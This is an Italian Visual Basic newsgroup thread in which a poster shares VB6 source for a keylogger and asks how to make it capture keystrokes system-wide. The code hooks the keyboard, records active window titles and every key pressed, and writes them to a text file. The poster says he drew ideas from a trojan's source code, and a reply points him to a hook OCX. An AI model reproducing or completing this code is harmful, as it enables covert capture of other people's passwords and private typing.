Newsgroup: it.comp.lang.visual-basic
Titolo: problema con getmodulehandle

Devo scrivere un'applicativo in grado di sapere in ogni momento, quali tasti
vengono premuti sulla tastiera, proprio come un keylogger.
Ho scritto così il seguente codice:
-------FORM1----------
Option Explicit
Private Declare Function GetModuleHandle Lib "kernel32" Alias
"GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Sub Form_Load()
hHook = SetWindowsHookEx(WH_KEYBOARD, AddressOf KeyboardProc, 0&,
App.ThreadID)
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call UnhookWindowsHookEx(hHook)
End Sub
-------MODULE1-----------------
Option Explicit
Private Declare Function GetActiveWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA"
(ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long)
As Integer
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long,
ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As
Long) As Long
Public Declare Function SetWindowsHookEx Lib "user32" Alias
"SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As
Long, ByVal dwThreadId As Long) As Long
Public Const WH_KEYBOARD = 2
Private Const HC_ACTION = 0
Private lngOldActiveWindow As Long
Public hHook As Long
Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long,
ByVal lParam As Long) As Long
Dim lngActiveWindow As Long
Dim strCurrentWindow As String
Dim strTitle As String
Dim lngCount As Long
Dim Ciclo As Integer
Dim strKeys As String
If nCode < 0 Then
KeyboardProc = CallNextHookEx(hHook, nCode, wParam, lParam)
Exit Function
End If
If nCode = HC_ACTION Then
'controlliamo se la finestra è la stessa
lngActiveWindow = GetActiveWindow
If lngOldActiveWindow <> lngActiveWindow Then
'scriviamo nel file che la finestra è cambiata
strTitle = Space(256)
lngCount = GetWindowText(lngActiveWindow, strTitle, 256)
If lngCount > 0 Then strCurrentWindow = vbCrLf & "** " & strTitle & " **" &
vbCrLf
lngOldActiveWindow = lngActiveWindow
End If
If GetKeyState(vbKeyShift) < 0 Then strKeys = strKeys & "[SHIFT]"
If GetKeyState(vbKeyControl) < 0 Then strKeys = strKeys & "[CTRL]"
If GetKeyState(vbKeyMenu) < 0 Then strKeys = strKeys & "[ALT]"
If GetKeyState(vbKeyCapital) < 0 Then strKeys = strKeys & "[CAPITAL]"
If GetKeyState(vbKeyEscape) < 0 Then strKeys = strKeys & "[ESC]"
If GetKeyState(vbKeyAdd) < 0 Then strKeys = strKeys & "[+]"
If GetKeyState(vbKeyBack) < 0 Then strKeys = strKeys & "[BACKSPACE]"
If GetKeyState(vbKeyCancel) < 0 Then strKeys = strKeys & "[ANNULLA]"
If GetKeyState(vbKeyClear) < 0 Then strKeys = strKeys & "[CANCELLA]"
If GetKeyState(vbKeyDecimal) < 0 Then strKeys = strKeys & "[.]"
If GetKeyState(vbKeyDelete) < 0 Then strKeys = strKeys & "[CANC]"
If GetKeyState(vbKeyDivide) < 0 Then strKeys = strKeys & "[/]"
If GetKeyState(vbKeyDown) < 0 Then strKeys = strKeys & "[GIU]"
If GetKeyState(vbKeyExecute) < 0 Then strKeys = strKeys & "[EXECUTE]"
If GetKeyState(vbKeyEnd) < 0 Then strKeys = strKeys & "[END]"
If GetKeyState(vbKeyHelp) < 0 Then strKeys = strKeys & "[HELP]"
If GetKeyState(vbKeyHome) < 0 Then strKeys = strKeys & "[HOME]"
If GetKeyState(vbKeyInsert) < 0 Then strKeys = strKeys & "[INSERT]"
If GetKeyState(vbKeyLeft) < 0 Then strKeys = strKeys & "[SINISTRA]"
If GetKeyState(vbKeyMultiply) < 0 Then strKeys = strKeys & "[*]"
If GetKeyState(vbKeyNumlock) < 0 Then strKeys = strKeys & "[BLOC NUM]"
If GetKeyState(vbKeyPageDown) < 0 Then strKeys = strKeys & "[PGGIU]"
If GetKeyState(vbKeyPageUp) < 0 Then strKeys = strKeys & "[PGSU]"
If GetKeyState(vbKeyPause) < 0 Then strKeys = strKeys & "[PAUSE]"
If GetKeyState(vbKeyPrint) < 0 Then strKeys = strKeys & "[STAMP]"
If GetKeyState(vbKeyReturn) < 0 Then strKeys = strKeys & "[INVIO]"
If GetKeyState(vbKeyRight) < 0 Then strKeys = strKeys & "[DESTRA]"
If GetKeyState(vbKeyScrollLock) < 0 Then strKeys = strKeys & "[BLOC SCROLL]"
If GetKeyState(vbKeySelect) < 0 Then strKeys = strKeys & "[SELECT]"
If GetKeyState(vbKeySeparator) < 0 Then strKeys = strKeys & "[NUM INVIO]"
If GetKeyState(vbKeySnapshot) < 0 Then strKeys = strKeys & "[SNAPSHOT]"
If GetKeyState(vbKeySubtract) < 0 Then strKeys = strKeys & "[-]"
If GetKeyState(vbKeyTab) < 0 Then strKeys = strKeys & "[TAB]"
If GetKeyState(vbKeyUp) < 0 Then strKeys = strKeys & "[SU]"
If GetKeyState(219) < 0 Then strKeys = strKeys & "'"
If GetKeyState(221) < 0 Then strKeys = strKeys & "ì"
If GetKeyState(191) < 0 Then strKeys = strKeys & "ù"
If GetKeyState(222) < 0 Then strKeys = strKeys & "à"
If GetKeyState(192) < 0 Then strKeys = strKeys & "ò"
If GetKeyState(189) < 0 Then strKeys = strKeys & "-"
If GetKeyState(190) < 0 Then strKeys = strKeys & "."
If GetKeyState(186) < 0 Then strKeys = strKeys & "è"
If GetKeyState(187) < 0 Then strKeys = strKeys & "+"
If GetKeyState(188) < 0 Then strKeys = strKeys & ","
If GetKeyState(220) < 0 Then strKeys = strKeys & "\"
For Ciclo = 48 To 90
If GetKeyState(Ciclo) < 0 Then strKeys = strKeys & Chr(Ciclo)
Next Ciclo
For Ciclo = 96 To 105
If GetKeyState(Ciclo) < 0 Then strKeys = strKeys & "[NUM" & Trim(Str(Ciclo -
96)) & "]" 'INCOMINCIA DA 0
Next Ciclo
For Ciclo = 112 To 127
If GetKeyState(Ciclo) < 0 Then strKeys = strKeys & "[F" & Trim(Str(Ciclo -
111)) & "]"
Next Ciclo
'Label1.Caption = strkeys
If strKeys <> "" Then
Open "FILEPROVA.txt" For Binary Shared As #99
If strCurrentWindow <> "" Then
Put #99, LOF(99) + 1, strCurrentWindow
End If
Put #99, LOF(99) + 1, strKeys
Close #99
End If
End If
KeyboardProc = CallNextHookEx(hHook, nCode, wParam, lParam)
End Function
Il problema nasce dal fatto che in form_load, quando richiamo la funzione
SetWindowHookEx, passo come ultimo parametro l'id del trade
dell'applicazione vb.
La mia necessità è quella di sapere i tasti che vengono premuti sempre, e
non solo quelli che vengono premuti nella mia applicazione.
L'MSDN dice che se desidero fare ciò basta passare 0 al posto di
App.ThreadID.
Facendo ciò però non posso specificare 0& al terzo parametro. Non posso dire
che la funzione si trova nello stesso modulo del trade specificato nel
quarto parametro se poi richiedo tutti parametri.
Sul sito della microsoft c'era un esempio simile a quello da me riportato,
ma diceva che per monitorare tutti trade bisogna esportare la funzione in
una dll, cosa ancora impossibile per vb.
Ieri la delusione era grande, ma poi ho guardato il sorgente di un troiano
fatto in c++ e mi sembra di aver capito che:
durane l'esecuzione del programma, potrei dire nella funzione
SetWindowHookKey che il modulo dove si trova la fuzione da richiamare sta
nell'handle xxx che io posso prendere con GetModuleHandle(0). Cioè posso
dire che il modulo del mio programma scritto in vb durante l'esecuzione ha
l'handle pari a GetModuleHandle(0)
Come faccio adesso a passare il modulo alla funzione SetWindowHookEx?
premetto che GetModuleHanlde(0&) mi restituisce 0, e getlastdllerror idem,
quindi non so proprio cosa fare...
grazie mille!!!

 vengono premuti sulla tastiera, proprio come un keylogger.
[CUT]
Guarda sul sito comune e scarica l'OCX hook qualcosa...
Ciao
--
Timothy Redaelli
timothy.redae...@email.it
------------------------------------------------------------------
Togliere NONSPAMMARE per rispondere